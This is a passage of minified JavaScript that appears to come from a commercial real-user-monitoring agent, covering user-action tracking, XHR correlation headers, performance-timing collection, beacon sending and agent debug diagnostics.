ea),tb(ea)),ea}finally{Zc(function(){dd(ea)},ea.Sd-kc())}}function Pb(){return Yc(dg)?dg.gci():zf}function cc(){return Yc(dg)?dg.gpi():Rh}function lc(a,b){if(Yc(dg))return dg.cii(a,b);b=b?cc():Pb();if(!b)return eo[a];switch(a){case "name":return b.Ob();case "type":return b.type;case "validUntil":return b.Sd;case "start":return b.start;case "target":return b.target;case "url":return b.url;case "title":return b.title;default:return null}}function $c(a){return lc(a,!0)}function Vd(a,b){return{timeout:a,
url:lc("url",b),name:lc("name",b),startTime:lc("start",b),type:lc("type",b)||"-",title:lc("title",b)}}function yd(){for(var a=zf;a;)a.target=void 0,a=a.next;zf=void 0}function dd(a){if(Yc(dg))dg.ei(a);else if(zf){for(var b=zf;b.next&&b!==a;)b=b.next;b===a&&(lc("name")&&(Rh=zf),b.target=void 0,b.ob&&(b.ob.next=b.next),b.next&&(b.next.ob=b.ob),b===zf&&(zf=b.next))}}function ie(a){void 0===a&&(a="");return a?-1!==mf(Xc("doNotDetect")?Xc("doNotDetect").split(","):[],a):!1}function Kd(a,b,d){if(!ie(d)){var f=
b?b:a;yl[a]=function(l){var r,G;pc((r={},r.kind="GLOBAL_EVENT_FIRED",r.detail=(G={},G.t=a,G.e=l,G),r));r=hc("ote");G=hc("ase");var ea="boolean"!==typeof l.isTrusted||l.isTrusted,ya=l.isRuxitSynthetic;if(G?ya:!r||ea){(r=l.target||l.currentTarget||l.srcElement||null)&&r.shadowRoot&&l.composed&&l.bubbles&&"function"===typeof l.composedPath&&(G=l.composedPath())&&G.length&&(r=G[0]);a:{G=r;if(("KD"===f||"KU"===f)&&ab(G)&&"password"!==G.type)if(l=l.keyCode||l.charCode||l.code,G=Number(l),hc("uam")&&!isNaN(G)){if(G=
String.fromCharCode(G),!("a"<=G&&"z">=G||"A"<=G&&"Z">=G||"0"<=G&&"9">=G)){l=String(l);break a}}else{l=String(l);break a}l=""}Ub(r,f+l,void 0,30)}};If(document,a,yl[a])}}function Ne(a){(ik=a)||yd()}function Yc(a){return!!a&&a!==C()}function Ce(a){qn=a}function ig(a,b){var d;if(b<=qn)return!1;b=null===(d=Nd)||void 0===d?void 0:d.tb();d=!!b&&a===b.name;b=Aj;if(!b)return!d;a=a===b.name&&(!b.J||3E3>=kc()-b.start);return!d&&!a}function xc(a,b){if(!hc("dsa")||0!==yc(a,"false")){var d=hc("dssv"),f=hc("dsss"),
l=f&&!d,r=d&&!f,G=!d&&!f,ea=b?a+"|"+b:a;f&&d&&vb("dtSa",ea);l&&(vb("dtSa",a),lf("dtSa",Hg(b||"-"),void 0,hc("ssc")));r&&(vb("dtSa",b||"-"),lf("dtSa",Hg(a),void 0,hc("ssc")));G&&lf("dtSa",Hg(ea),void 0,hc("ssc"))}}function Ld(){var a=Le[0];if(a){a.stop=0;var b=a;for(var d=0;d<a.subActions.length;d++)b=a.subActions[d],b.stop=0}return b}function Oe(a,b,d,f,l,r){void 0===a&&(a=kc());var G=ne(!0),ea=Nd||Ld(),ya=[];if(!G&&b&&d&&a)ya=[String(!l),I(d),l||"-1",I(b),I(f||"-"),a,bg(),$a(bd()),"","",I(location.hash.substring(1)),
I(r||"")];else if(ea){ea.hb();var ob=ea.status;ea.status=2;Zc(function(){ea.status=ob},0);ya=["false",I(ea.type),ea.id,I(ea.name),I(ea.info||"-"),ea.start,bg(),$a(bd()),"","",I(location.hash.substring(1)),I(ea.aa||"")]}return ya}function cd(a,b,d){void 0===b&&(b=null);var f=!1,l=ic();try{f=l.iSAC()}catch(G){}if(!f||l===C()){a&&(xc("-"),Ok=[]);f=Pb();if(!f){var r=cc();r&&ig($c("name"),$c("start"))&&3E3>=kc()-$c("validUntil")&&(f=r)}r=[];f&&!f.Sb?(f.vg(),r=Oe(f.start,f.Ob(),f.type,f.info,f.G,f.aa)):
b?r=Oe(b.start,b.name,b.type,b.info,b.id,b.aa):a&&(r=Oe(d));a=r;d=Ok;1<d.length&&1<a.length&&d[3]===a[3]&&(d[2]=a[2],d[0]=a[0],a=d);a.length&&(d=ae,b=d.timestamp,f=d.group,d=[$a(d.name),b,$a(f||""),I(ce(d,!0))],xc(a.join("|"),d.join("|")),Ok=a.concat(d),(l=l.sSAC)&&l(!0,!0))}}function je(a,b){return tm("mcepsl")?Ca(b):Ca(b,Tc("mcepsl"))}function Wd(a,b,d){var f;void 0===d&&(d=!1);if("tvn"===a||"svn"===a||"tvg"===a||"svg"===a)return b;var l=Tc("mcepsl");return b&&b.length>l?(d&&(null===(f=mb.console)||
void 0===f?void 0:f.log("Truncating agent event because the size for property [".concat(a,"] exceeds size limit of ").concat(l," characters: [").concat(b.length,"]"))),Ga(b,l,"lcpSel"===a)):b}function jg(a,b){for(var d=Tc("mcepsl"),f=[],l=0;l<b.length;l++){var r=b[l],G=r[0],ea=r[1];r=G;if(0!==Hf){var ya=ae,ob=ya.name,zb=ya.group;ya=ya.timestamp;ea=ob&&ea===ob&&"tvn"===r||zb&&ea===zb&&("tvg"===r||"svg"===r)||ya&&ea===String(ya)&&"tvt"===r?"":ea}r=Wd;ob=fo[a];"function"===typeof ob&&(r=ob);"object"===
typeof ob&&ob[G]&&(r=ob[G]);ob=Ga(G,d);(G=r(G,ea))&&ob&&f.push([ob,G])}return f}function Fe(a,b){void 0===b&&(b=1);var d=[String(b),String(a.id),"_event_",String(a.timestamp),String(a.kind)];a=jg(a.kind,a.eb);Ac(a,function(f){var l=f[1];Ob(d,I(f[0]));Ob(d,I(l))});return d.join("|")}function Ge(a,b,d){for(var f,l,r="",G="",ea=0;ea<a.length;ea++){var ya=a[ea];ya.Uc();var ob=ya.Mb();ya.Qb(d);r||(r=ya.La());G=ya.La();if("_load_"===ya.type&&(de=!0,f=Sh)){G=[f.id,f.name,f.type,f.info,f.frameId,f.startTime];
f.isDelayed?(l="",f.anchor&&(l="#"+f.anchor),G.unshift("d"),Ob(G,f.qa+l,"")):G.unshift("s");Ob(G,f.aa||"");if(f.na){l=f.na;var zb=l.timestamp,pb=l.group;Ob(G,l.name);Ob(G,zb);pb&&Ob(G,pb)}f=f.qa;l=G.join("|");G=f;Ob(b,l);Sh=void 0}ya.parentFrameActionName&&(f=Ob,l=ya.pd,ya=[0,ya.Kd,I(ya.parentFrameActionName),l].join("|"),f(b,ya));Ob(b,ob)}return{Fa:r,qa:G}}function Ee(a,b){var d,f,l=ad(Le,function(ya){return(ya.Tc()||a||b)&&!ya.$e()}),r=ge;if(b){r=[];ge=[];for(var G=0;G<l.length;G++){var ea=l[G];
pc((d={},d.kind=3===ea.status?"ACTION_BEACON_FORCED":"ACTION_CLOSED",d.detail=(f={},f.a=ea.start,f.s=ea.stop,f.r=ea.ta(),f.i=ea.id,f.f=!0,f.t=ea.type,f.x=ea.xhrUrl,f.rt=void 0,f),d))}Ze.oa=[];Ab(Nd&&null!==Nd?Nd.tb():null);Nd=null}return{rg:l,Af:r}}function mi(a,b){void 0===a&&(a=!1);void 0===b&&(b=!1);var d=[],f=Ee(b,a);b=f.Af;f=Ge(f.rg,d,a);a=f.Fa;f=f.qa;Ac(um,function(l){Ob(d,Fe(l))});Le=na([],b,!0);um=[];return{pc:d.join(","),referer:a,sourceUrl:f}}function kg(a,b,d,f){for(var l=0,r=zl().slice();l<
r.length;l++){var G=r[l];try{G(a,b,d,f)}catch(ea){}}}function tf(){return vg}function Wf(a,b,d,f,l,r,G){mj=!1;a=l||vg.qd(a,b,d);if(a.beacon){d=!!d;f=!!f;b=G;var ea;void 0===r&&(r=!1);void 0===b&&(b=(ea={},ea.contentType="",ea));if(Db()||!a.beacon)a=0;else{ea=a.referrer||O();Jd(b,"rf",Kc(encodeURIComponent(ea||""),Tc("mhl"))[0]);hc("owasp")&&(G=encodeURIComponent(ea||""),vg.av(a.beacon,"rf",G));G=kc();vg.av(a.beacon,"time",G);G=r;l=p;var ya=13>=l.sf,ob=!0;G=d&&rn&&!hc("dsndb")&&!ya&&!G||hc("svNB");
!G&&(f||d&&(l.sf||l.msf||hc("lab")||(l.ie||l.edge)&&kb))&&(ob=!1);d=ob;f=b;b=a.beacon;l=document.cookie;ya=pd(l);var zb=hk("dtLatC",l);ob=Xc("cuc");Jd(f,"sn",encodeURIComponent(ya));Jd(f,"latency",encodeURIComponent(zb));Jd(f,"flavor",hc("cors")?"cors":"post");if(void 0===f.crc){ya=b.gd?b.Rb:b.Yc();if("string"===typeof ya)b:{try{if(Th.TextEncoder){var pb=(new Th.TextEncoder).encode(ya);break b}}catch(Hc){}pb=[];for(zb=0;zb<ya.length;zb++){var Tb=ya.charCodeAt(zb);128>Tb?pb.push(Tb):2048>Tb?(pb.push(Tb>>
6|192),pb.push(Tb&63|128)):55296===(Tb&64512)&&zb+1<ya.length&&56320===(ya.charCodeAt(zb+1)&64512)?(Tb=65536+((Tb&1023)<<10)+(ya.charCodeAt(++zb)&1023),pb.push(Tb>>18|240),pb.push(Tb>>12&63|128),pb.push(Tb>>6&63|128),pb.push(Tb&63|128)):(pb.push(Tb>>12|224),pb.push(Tb>>6&63|128),pb.push(Tb&63|128))}}else pb=ya;ya=-1;for(zb=0;zb<pb.length;)ya=ya>>>8^sn[(ya^pb[zb++])&255];pb=(ya^-1)>>>0;-1!==pb&&(f.crc=pb)}Jd(f,"vi",encodeURIComponent(b.zb("vi")||qi()));Jd(f,"bp",3);Jd(f,"v",tn);Jd(f,"app",encodeURIComponent(Xc("app")));
Jd(f,"type","js3");Jd(f,"dtAdk",encodeURIComponent(Na("dtAdk",l)));Jd(f,"contentType","");Jd(f,"modifiedSince",Tc("lastModification"));Jd(f,"svrid",Li());ob&&(f.en=ob);f.contentType&&"srRs"===f.contentType&&Jd(f,"msl",Tc("msl"));f.end=1;b=hc("cors");pb=["type","sn","svrid","flavor","vi"];Ob(pb,"contentType","modifiedSince");hc("owasp")||Ob(pb,"rf");b&&Ob(pb,"dtAdk");Ob(pb,"bp");Xc("app")&&Ob(pb,"app");f.contentType&&Ob(pb,"v");-1!==f.crc&&Ob(pb,"crc");Xc("cuc")&&Ob(pb,"en");"srRs"===f.contentType&&
Ob(pb,"msl");Ob(pb,"end");b=Xc("reportUrl");l=[];for(ob=0;ob<pb.length;ob++)ya=pb[ob],f[ya]&&Ob(l,ya+"="+f[ya]);(pb=l.join("&"))&&(b+="?"+pb);pb=lg(a.beacon);f=!0;for(l=0;l<pb.length;l++)f=!!ja(od,hd({xc:G,path:b,async:d,Fa:ea,beacon:a.beacon,Ka:pb[l],vc:l,wc:pb.length,Ge:r}),f);a=0;pb.length&&(a=f?2:1)}}else a=0;return a}function me(a,b,d,f,l,r,G){var ea=Id(Na("dtAdkSettings")).Vc;Ig=ea;if(1===ea)return 0;if(2===ea){if(d)return 0;Zc(function(){me(a,b,d,f,l,r,G)},5E3)}else return Wf(a,b,d,f,l,r,G);
return 0}function Jd(a,b,d){void 0===a[b]&&(a[b]=d)}function lg(a){if(a.Rb)return[a.Rb];a=a.Yc();var b=Z(C())?145E3:Tc("msl")-40;b=0===a.length%b?Math.floor(a.length/b):Math.floor(a.length/b)+1;if(!(1<b))return[a];if(1>b||20<b)return[];b=Z(C())?145E3:Tc("msl")-40;var d="sid="+kc()+"&p#index#_#total#=";return Kc(a,b,d)}function Bg(a){Vc(a)}function Vc(a){if(mj){var b=!1;"number"===typeof a?kc()+a<Al&&(b=!0):b=!0;b&&(ti(Sm),mj=!1)}mj||(Al=kc()+(a||0),"number"===typeof a?(Sm=Zc(me,a),mj=!0):me())}function Cf(a,
b,d){return me(b,d,!1,a)}function nf(a){Ob(zl(),function(b,d,f,l){a(l,d,f,l.Kb)})}function ih(){var a=qm;return 0===a?null:{severity:"Error",type:"be",text:"Beacon sending failed for ".concat(a," attempt").concat(1<a?"s":"","! Look in the browser DevTools for more information.")}}function Rg(){tn=$d(gb());vg=new go;Tm=0;Ud&&Ud(function(a,b,d){d&&(10>Gc.length?Gc.push(d):(a=Gc[10])?Gc[10]=String(Number(a)+1):Gc.push("1"))});Ig=Id(Na("dtAdkSettings")).Vc;rb("DEBUG_INFO_REQUESTED",ih)}function Eg(){for(var a=
!1,b=[],d=0,f=ge;d<f.length;d++){var l=f[d];l.kc&&0<l.kc&&(l.Va&&kc()>l.Va&&(l.Va+=6E4,Ob(b,l)),a=!0)}0<b.length&&me(!0,!0);for(d=0;d<b.length;d++)b[d].kc--;a&&Zc(Eg,1E3)}function of(a,b,d){var f=Nd;f!==a&&(f&&!d&&Ab(f),(Nd=a)?ja(Yl,a.id,b):ye())}function Tg(a){eg=null;if(Wg&&Wg.gca){var b=Wg.gca();if(eg=b[b.length-1])a.Kd=eg.id,a.parentFrameActionName=eg.name,eg.childFrameActions?eg.childFrameActions++:eg.childFrameActions=1}}function Xf(a,b,d){if(hc("ffi"))return!0;b=String(b);d=String(d);for(var f=
!1,l=f,r=f,G,ea=0;ea<a.length&&(!f||!l);ea++)G=a[ea].split("."),f=G[0],G=G[1],f=f===b,l=G===d,!r&&f&&d>G&&(r=!0);return f&&l?!0:f&&l||r}function Sg(){var a=Id(Na("dtAdkSettings")).Vc;if(Ig!==a&&(Ig=a,0!==a)){a=0;for(var b=ge;a<b.length;a++)b[a].Db()}}function Cg(){var a=[];for(var b=Ze.oa.length-1;0<=b;b--)if(Ze.oa[b].Tc()){var d=eb(Ze.oa,b);a=a.concat(d)}b=!1;Sg();d=ge;for(var f=d.length-1;0<=f;f--){var l=d[f];if(l.Ie)eb(d,f);else{var r=0<=mf(a,l),G=eg;r?(eb(d,f),b=!0):G&&(r=Wg.gca(),l.pd=n&&r[r.length-
1]===G?"S":"A",eg=null)}}b&&Vc()}function ni(){"hidden"===document.visibilityState?(Fh="1",Yf()):Fh="0"}function Yf(){var a;pc((a={},a.kind="PAGE_BACKGROUND_INFORMATION",a.detail=Fh,a))}function Df(a){Bl++;(a=$b(a.detail.i))&&!a.na&&(a.na=ae)}function Mf(a){Bl--;if(a=$b(a.detail.i))a.Ag=Fa(a.stop)||ae;1>Bl&&(lj=[])}function Ef(a,b,d){var f=b[Um[a]];b=b.startTime;if(f)if(0<=yc("yK",a))d.push(a,f);else if("T"===a)"number"===typeof f&&0>f&&0===f%1&&d.push(a,f);else{var l=f>=b;"j"===a&&Ue(f,2)&&Math.abs(f-
b)<Zl&&(l=!1);var r=f;0<=yc("uvwxACDEFNOPQRSTU",a)?l=0<=f:"number"===typeof f?r=Math.round(f-b):r=f;l&&d.push(a,r)}}function wd(a,b,d){if(b=b[$l[a]]){var f=0<=b;"j"===a&&0===b&&(f=!1);f&&d.push(a,Math.round(b))}}function Nf(a,b,d){(b=b[am[a]])&&d.push(a,b)}function Ye(a,b){a=a.serverTiming;for(var d={},f=0,l=Pn;f<l.length;f++){var r=l[f];d[r]=""}if(a){for(f=0;f<a.length;f++)l=a[f],l.description&&!isNaN(Number(l.description))&&(r=l.name,r in d&&!d[r]&&(d[r]=l.description));d.dtRequestID&&(b.push("C"),
b.push(d.dtRequestID));d.dtRpid&&(b.push("M"),b.push(d.dtRpid));d.dtSInfo&&(b.push("V"),b.push(d.dtSInfo));d.dtTao&&(b.push("W"),b.push(d.dtTao))}}function Ff(a,b,d,f){var l=0;for(a=oc(a);l<a.length;l++)d(a[l],b,f)}function Ug(){if(!window.performance)return[];var a=null,b=-1,d=performance.timeOrigin;"getEntriesByType"in performance&&(a=performance.getEntriesByType("navigation")[0])&&a.type&&(b=Vm[a.type]);a&&"responseEnd"in a||(a=performance.timing);-1===b&&(b=performance.navigation.type);d||(d=
performance.timing.navigationStart);return(!C().googleBot||Z(C()))&&0<d?(b=["a",b,"b",Math.round(d)],k(a,b,d),b):[]}function k(a,b,d){if(Xa&&db(a,12)||db(a,["navigationStart"])&&!("entryType"in a))for(var f in Pk){if(Ra(Pk,f)){var l=f,r=a[Pk[l]];if(r){var G=r>=d;"j"===f&&r===d&&(G=!1);G&&b.push(l,Math.round(r-d))}}}else if(d=C(),d=d.gSig?d.gFU():{},ua(a)){Ff(Um,a,Ef,b);f=Ob;r=f.apply;G=[];if(ua(a)){if("xmlhttprequest"===a.initiatorType||"fetch"===a.initiatorType){var ea="1";Yg[a.name]&&(ea="11",delete Yg[a.name]);
G.push("z",ea)}else Yg[a.name]&&(G.push("z","01"),delete Yg[a.name]);ea="";"frame"===a.initiatorType?ea="f":"iframe"===a.initiatorType||"subdocument"===a.initiatorType?ea=isNaN(d[a.name])?"i":"i"+d[a.name]:0<=(a.frameId||-1)&&(ea="r"+a.frameId);ea&&G.push("B",ea)}else Yg[a.name]&&(G.push("z","01"),delete Yg[a.name]);r.call(f,void 0,na([b],G,!1));b.push("I",null!==(l=vm[a.initiatorType])&&void 0!==l?l:0);Ye(a,b)}else Ka(a)?(Ff($l,a,wd,b),Ye(a,b)):Ff(am,a,Nf,b)}function w(){hc("ntd")||Qe(function(a,
b,d,f){b||bm||!de||(bm=!0,a.av(f,"nt",Ug().join("")||"0",!0))})}function M(){var a;pc((a={},a.kind="INSTRUMENTATION_TRIGGERED",a.detail=void 0,a))}function A(a){var b=ge;Tg(a);Ob(b,a);b=Nd;b!==a&&(Ab(b),Nd=a);Ob(Le,a);Zc(Eg,5E3)}function Ta(a){var b=a.start,d=a.xhrUrl,f=a.nc,l=a.qa,r=a.Za;r=void 0===r?!1:r;var G=a.isCustomAction;G=void 0===G?!1:G;var ea=a.Ma;ea=void 0===ea?!1:ea;var ya=a.Rd;ya=void 0===ya?-1:ya;var ob=a.aa;ob=void 0===ob?"":ob;var zb=a.na,pb=a.ac;a=new qh(b,a.stop||b,a.type,a.name,
a.info||"",a.domNodes||-1,xb(void 0===l?"":l),U(),d||"",G,ea,r,f,ya,ob,zb,pb);Sg();a.$b()&&Ob(Ze.oa,a);Ze.actions[a.id]=a;ja(nj);return a}function xb(a){if(a){var b=document.createElement("a");b.href=a;if("file:"===b.protocol||"about:"===b.protocol||b.hostname)return b.href;var d=function(f,l,r,G){f.av(G,"rfi",1,!1);wm(d)};Qe(d)}return location.href}function ec(a){var b,d,f;a.start||(a.start=kc());var l=Ta(a);l.ra=Zc(function(){l&&(3!==l.status||l.Pb())&&uc(l.id)},1E3*Tc("oat"));var r=null;switch(ma(a.pa)){case 1:r=
Nd;break;case 2:if(r=$b(a.pa),!r&&"_load_"===a.type)return l}pc((b={},b.kind="ACTION_ENTERED",b.detail=(d={},d.i=l.id,d.a=a.start,d.s=0,d.x=a.xhrUrl,d.r=r?r.ta():l.id,d.t=l.type,d.e=null===(f=Pb())||void 0===f?void 0:f.target,d.rt=void 0,d),b));"undefined"===typeof a.Rd&&of(l,!1,!!r);if(r)for(r=r.tb(),r.Sc(l),a=0,b=ge;a<b.length;a++)d=b[a],d.Va>l.start+1E4&&(d.Va=l.start+1E4);else A(l.Ue()),Hj();return l}function uc(a,b,d){var f,l;a=$b(a);var r=b,G=C();if(!r&&a&&"_load_"===a.name&&"_load_"===a.type&&
G.gLVD){r=Z(G);var ea=aa(mb.performance,"loadEventEnd");if(ea){var ya=G.gVCP();r&&G.logSynthetic("".concat("[actions/actionmanagement/action-creation] "," vc time is: ").concat(ya,", and loadEventEnd time is: ").concat(ea,"."));r=Math.max(ya,ea)+ef()}else r&&G.logSynthetic("".concat("[actions/actionmanagement/action-creation] "," No load event end, taking current time for load action end!")),r=kc();Z(G)&&G.logSynthetic("".concat("[actions/actionmanagement/action-creation] "," Computed load action end time with arguments: ").concat(JSON.stringify({endTime:b,
$h:r}),"."))}b="number"===typeof r&&(null===a||void 0===a?void 0:a.isCustomAction);G=r||kc();a&&(pc((f={},f.kind="ACTION_LEFT",f.detail=(l={},l.i=a.id,l.a=a.start,l.s=G,l.r=a.ta(),l),f)),a.Wb(G,d,b),Cg());of(ed(),!0)}function qc(a,b,d){var f=Nd;"undefined"!==typeof b&&null!==b&&(f=$b(b));if(f)return f.Sc(a,d),!1;Tg(a);Ob(Le,a);return!0}function ud(a,b,d,f,l,r,G,ea){"undefined"===typeof f?f=!0:null===f&&(f=!1);a={name:Wa(a),type:b,start:d,pa:f,info:l||"",xhrUrl:r||"",isCustomAction:!!G};ea&&(a.qa=
ea);return ec(a).id}function We(a,b,d){M();uc(a,b,d)}function Ei(a){for(var b=Ze.oa.slice(),d=0;d<b.length;d++)uc(b[d].id,a);return b.length}function Ie(a){for(var b=0,d=vf;b<d.length;b++)if(d[b].G===a)return!0;return!1}function Gf(a){var b=Oi();return!!(b&&b.exec&&a&&(b.exec(a)||b.exec(R(a))))}function bf(a,b,d,f,l,r,G){void 0===b&&(b=3);void 0===d&&(d="");void 0===f&&(f=!1);void 0===l&&(l=void 0);void 0===r&&(r=!1);void 0===G&&(G=!1);if(d&&Gf(d))return 0;var ea=wa(d),ya=Pb(),ob=a||"-",zb=ne(!1);
if(se){if(zb&&!$b(zb))return 0;kb=!0}ya&&(ya.info="-"===ya.info?ob:ya.info+", "+ob);!zb&&ya&&ya.G&&(zb=ya.G);d=R(d);Yg[d]=!0;a={name:a,type:"xhr",start:kc(),info:ob,xhrUrl:ea,isCustomAction:f,nc:l,ac:G};zb?(ya=0,r||(a.pa=zb,ya=Je(a))):ya?(zb=0,3<=b&&(zb=kf(La(La({},a),{name:ya.Ob(),type:ya.type,start:ya.start,info:ya.info,qa:ya.url,pa:!1,aa:ya.aa||"",na:ya.view})),ya.G=zb,ya.Sb&&cd(!0,$b(zb))),ya=zb):(ya=Nd)?(zb=0,1<=b&&!r&&(zb=Je(La(La({},a),{pa:ya.id}))),ya=zb):ya=hc("cux")?kf(La(La({},a),{name:"Unlinked XHR",
type:"xhr",pa:!1})):0;return ya}function kf(a){a:{var b=a.info;var d=a.xhrUrl;if(a.nc&&vf.length)for(var f=vf.length-1;0<=f;f--){var l=vf[f],r=l.G,G=Bd(r);if(G&&b&&b[0]!==l.Hf&&rc(G.xhrUrl||"")===l.xhrUrl&&l.xhrUrl===rc(d||"")){b=r;break a}}b=0}if(b)return b;a.Ma=!0;return ec(a).id}function Je(a){var b=a.pa,d=null;"number"===typeof b&&(d=Bd(b));a.pa=d?d.id:!0;return kf(a)}function Ed(a,b,d,f,l){void 0===b&&(b="");void 0===f&&(f=kc());var r=Bd(a);!r||l&&0>yc(r.info,l)&&r.name!==l||(d?Zc(function(){Ib(b)},
0):Ib(b),Zc(function(){if(!kb){var G=f;Bd(a)&&uc(a,G)}},cm),M())}function mg(a,b){if(a){var d=Bd(a);d&&(d.cc++,d.Xa||b&&4!==b||d.Ze(kc()),Ob(nh,a),Dj++)}}function kh(a){if(a){var b=Bd(a);b&&(b.Ye(kc()),b.cc--,Dj--,Zc(function(){ze(a)},0))}}function Fd(a,b,d){if("number"!==typeof a||isNaN(a)||0>a)return!1;0===a&&(a=971,b="XHR Canceled");b&&(b+="");d=$b(d)||Nd;if(!d||-1!==d.jc||!d.Ma)return!1;d.jc=a;b&&0<b.length&&(d.$c=b);return!0}function lh(){return!hc("disableXhrFailures")}function Sd(a){return(a=
$b(a))&&a.Ma?[a.Xa,a.jb]:[0,0]}function Bc(a,b){var d=Bd(a);if(d){var f=d.xhrUrl;d.Xc(b);d=0;for(var l=vf;d<l.length;d++){var r=l[d];r.G===a&&r.xhrUrl===rc(f)&&(r.xhrUrl=rc(b))}}}function qe(a){return(a=Bd(a))?a.xhrUrl:""}function fj(a,b,d,f){void 0===f&&(f="headers");a=a||{};b=b||a.url;a[f]=a[f]||{};var l=d||a.actionId;if(!a[f]||!md()||(null===Pi||void 0===Pi?0:Pi.test(b)))return a;var r=!(null===Qi||void 0===Qi||!Qi.test(b)),G="";d=Rd(l);if(r){G=zd(l);r=a;var ea=G,ya=f,ob=[],zb=pd(),pb=Li(zb).replace("-",
"-2D");Ob(ob,'sn="v_4_srv_'.concat(pb,"_sn_").concat(Cl(zb),'"'));ea&&Ob(ob,'pc="'.concat(ea,'"'));Ob(ob,'v="'.concat(jk(),'"'));Ob(ob,'app="'.concat(Xc("app"),'"'));(ea=Na("dtAdk"))&&Ob(ob,'adk="'.concat(ea,'"'));Ob(ob,'r="'.concat(d,'"'));Lb(r,"x-dtc",ob.join(", "),ya)}if(oa(b))return a;r=hc("dpch");l&&(r||(ya=a,l=G||zd(l),G=f,l&&(Lb(ya,"x-dtpc",l,G),Q()&&(Lb(ya,"x-dtreferer",O(),G),Lb(ya,"x-host",Ha(b),G)))),d&&d!==O()&&Lb(a,"x-dtreferer",d,f));Gf(b)&&!r&&Lb(a,"x-dtpc","ignore",f);return a}function Zf(a){a=
kk(a);if(!a)return null;try{return new RegExp(a,"i")}catch(b){}return null}function Fi(){Qi=Zf(Xc("chw"));Pi=Zf(Xc("xhb"));rb("CONFIG_UPDATE",function(){Qi=Zf(Xc("chw"));Pi=Zf(Xc("xhb"))})}function Gi(){var a=Nd;return a?a.name:""}function oi(a){for(var b=0,d=Ze.oa;b<d.length;b++)d[b].Wc=a.detail}function Cc(a){var b;return null===(b=$b(a))||void 0===b?void 0:b.Oe()}function sc(a){sd?a(C().bwsW,C().bwsH):Ob(te,a)}function uf(a){for(var b=te.length-1;0<=b;--b)if(a===te[b]){te.splice(b,1);break}}function Ae(){var a=
document,b=a.documentElement,d=0,f=0,l=a.body;"number"===typeof self.innerWidth?(d=self.innerWidth,f=self.innerHeight):a&&(b.clientWidth||b.clientHeight)?(d=b.clientWidth,f=b.clientHeight):l&&(l.clientWidth||l.clientHeight)&&(d=l.clientWidth,f=l.clientHeight);if(0>d||0>f)a=0,p.ie?a=140:a=10,d=Math.max(d,a),f=Math.max(f,10);C().bwsW=d;C().bwsH=f;sd=!0;a=0;for(b=te;a<b.length;a++)(0,b[a])(d,f)}function Md(){var a=C();rb("LOAD_END",Ae);a.abwsl||(a.abwsl=sc,a.rbwsl=uf);var b=!1;Qe(function(d,f,l,r){if(!f&&
!b&&(de||l)){b=!0;f=function(ob){return 0>ob||2147483647<=ob||isNaN(ob)?0:ob};var G=ic();l=G.bwsW||a.bwsW;G=G.bwsH||a.bwsH;0>=l&&(Ae(),l=a.bwsW,G=a.bwsH);l=f(l);var ea=f(G),ya=G=0;d.av(r,"w",l,!0);d.av(r,"h",ea,!0);if(l=mb.screen)G=f(l.width),ya=f(l.height),d.av(r,"sw",G,!0),d.av(r,"sh",ya,!0)}})}function cf(){var a=0,b=0,d=0,f="Info",l=[];hc("coo")&&hc("cooO")?(a++,Ob(l,{severity:"Info",text:"Opt-in mode is active, but dtrum.enable() has been called.",type:"cooeaoa"})):hc("coo")&&(f="Warning",b++,
Ob(l,{severity:"Warning",text:"Opt-in mode is active. Call dtrum.enable() to start collecting data.",type:"cooe"}));Db()&&(b++,f="Warning",Ob(l,{severity:"Warning",text:"Agent is currently disabled. This can be caused by Cost Control, Overload Prevention, missing RUM License or a disabled application",type:"jsad"}));hc("dsss")&&(b++,f="Warning",Ob(l,{severity:"Warning",text:"DISABLE_SUBDOMAIN_SOURCEACTION_SUPPORT is set.",type:"sssd"}));a:{var r=Xc("featureHash");for(var G=0,ea="7degijmovx".split("");G<
ea.length;G++)if(-1!==r.indexOf(ea[G])){r=!1;break a}r=!0}r&&(b++,f="Warning",Ob(l,{severity:"Warning",text:"No module(that could detect a XHR) is active!",type:"nxma"}));Oc()&&(b++,f="Warning",Ob(l,{severity:"Warning",text:"Should not track is set on this browser and respected by the RUM monitoring code!",type:"snt"}));hc("ssc")&&"https:"!==location.protocol&&(d++,f="Error",Ob(l,{severity:"Error",text:"Secure cookies are enabled, but can't be set as the page isn't using https.",type:"scbip"}));return 0<
l.length?(a=[df(d,"Error"),df(b,"Warning"),df(a,"Info")],{severity:f,text:"".concat(a.join(""),"regarding agent configuration."),type:"ci",children:l}):null}function df(a,b){return a?"".concat(a," ").concat(b).concat(1<a?"s":""," "):""}function ug(){rb("DEBUG_INFO_REQUESTED",cf);Qe(function(a,b,d,f){hc("ssc")&&"https:"!==location.protocol&&a.av(f,"sconsp",1)})}function Td(){return Xc("rpid")?"automatically":"manually"}function gj(){xd=void 0;ba(document.currentScript)&&(Re=document.currentScript);
rb("DEBUG_INFO_REQUESTED",function(){xd||(xd=Re?Re.src?Re.dataset.dtconfig?"OneAgent JavaScripTag ".concat(Td()," injected"):Re.src.includes("_complete")?"JavaScriptTag ".concat(Td()," injected"):Re.getAttribute("defer")?"CodeSnippetDeferred ".concat(Td()," injected"):"CodeSnippetSync ".concat(Td()," injected"):Re.dataset.dtconfig?"InlineCode ".concat(Td()," injected"):"Couldn't detect injection mode.":"Couldn't detect injection mode.");return{severity:"Info",text:xd,type:"im"}})}function Hi(a){switch(a){case 1:if((a=
document.currentScript)&&ba(a)){a:{var b,d;if(document.documentElement&&(a=document.documentElement.outerHTML.split(a.outerHTML),2===a.length)){a=(null===(d=null===(b=a[0])||void 0===b?void 0:b.split("\n"))||void 0===d?void 0:d.length)+1;break a}a=void 0}return"Agent is double injected! Is it manually and automatic injected? Current used agent is near: ".concat(document.location,":").concat(a)}return"Agent is double injected! Is it manually and automatic injected?";case 2:return"Problem detected while agent initialization! Snippet couldn't initialize so can't initialize monitoring code";
case 3:return"Problem detected while agent initialization! Snippet couldn't initialize as initConfig didn't initialize.";default:return""}}function re(){rb("DEBUG_INFO_REQUESTED",function(){return 0!==C().di?{severity:"Error",text:Hi(C().di),type:"di"}:null});Qe(function(a,b,d,f){0===C().di||b||a.av(f,"di",C().di)})}function pi(){var a;return pc((a={},a.kind="DEBUG_INFO_REQUESTED",a.detail=void 0,a))}function Yd(){Qe(function(){if(!Pf.disableCookieManager){var a=pd();if(!a||-1===yc(a,"_srv_-"))try{if(mb.sessionStorage){var b=
